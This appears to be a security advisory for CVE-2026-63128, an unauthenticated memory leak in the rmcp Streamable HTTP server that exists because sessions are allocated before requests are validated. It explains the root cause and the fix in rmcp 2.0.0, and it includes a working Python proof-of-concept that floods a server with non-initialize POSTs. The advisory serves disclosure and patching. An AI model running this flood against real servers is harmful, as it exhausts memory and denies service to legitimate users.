CVE-2026-63128: rmcp Streamable HTTP Unauthenticated Session-Table Memory Leak
Any unauthenticated caller can permanently leak server memory one entry at a time by sending a non-initialize JSON-RPC POST to an rmcp Streamable HTTP server, eventually exhausting RAM and crashing…

The problem
In rmcp versions before 2.0.0, StreamableHttpService::handle_post in tower.rs calls LocalSessionManager::create_session and inserts a LocalSessionHandle into the session HashMap before it checks whether the incoming JSON-RPC message is an InitializeRequest.
When the subsequent validation fails (wrong method, or mismatched protocol-version header), the function returns an HTTP 422 error without ever calling close_session. The handle and its internal tokio mpsc channel stay in the HashMap for the entire process lifetime.
Each ~250-byte request produces a permanent ~400-550-byte server-side allocation, and the RwLock over the growing HashMap degrades latency for every legitimate client before OOM kills the process.
Proof of concept
A working proof-of-concept for CVE-2026-63128 in rmcp, with the exact payload below.
# Python 3 stdlib only — no pip install needed
import http.client, json, time
HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"
# A valid JSON-RPC Request that is NOT an InitializeRequest.
# handle_post allocates a session at line ~1129, then hits the
# `let ... else` guard at ~1148 and returns HTTP 422 without
# calling close_session — leaking the HashMap entry permanently.
body = json.dumps({
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {}
}).encode("ascii")
headers = {
"Host": f"{HOST}:{PORT}",
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
"Content-Length": str(len(body)),
}
for i in range(1000):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
conn.request("POST", PATH, body=body, headers=headers)
resp = conn.getresponse()
resp.read()
conn.close()
# Each response is HTTP 422; session table grows by 1 per request.The root cause (CWE-400, CWE-401, CWE-772) is a validate-after-allocate ordering error. create_session inserts a LocalSessionHandle into a tokio::sync::RwLock<HashMap> and starts a worker task. The four early-return paths for validation failure all skip close_session, the only code that removes an entry.
The worker's CancellationToken fires when WorkerTransport drops, so the worker exits, but the sending half of the mpsc channel remains alive inside the HashMap entry and is never freed.
The fix (PR #934, commit dfa7fd6) reorders the logic: message-type validation and protocol-version header checks now happen before create_session is ever called, so no state is created for invalid requests. This eliminates the entire class of pre-allocation cleanup bugs rather than patching individual early-return paths.
The fix
Upgrade to rmcp 2.0.0. The patch (commit dfa7fd6f9309deab60bea230b041be9a3fcda846, PR #934) moves the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and validate_header_matches_init_body call above LocalSessionManager::create_session, so invalid requests are rejected with HTTP 422 before any session state is allocated.
No configuration workaround exists for earlier versions.
Reported by DaleSeo.
Related research
- high · 8.2CVE-2026-63127CVE-2026-63127: rmcp OAuth Protected Resource Metadata Spoofing
- high · 7.5mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
- highCVE-2026-53530CVE-2026-53530: ratex-parser Process Abort via UTF-8 Multibyte Delimiter in \verb
- high · 7.5CVE-2026-69208CVE-2026-69208: http4s DigestAuth Nonce Map Unbounded Growth (DoS)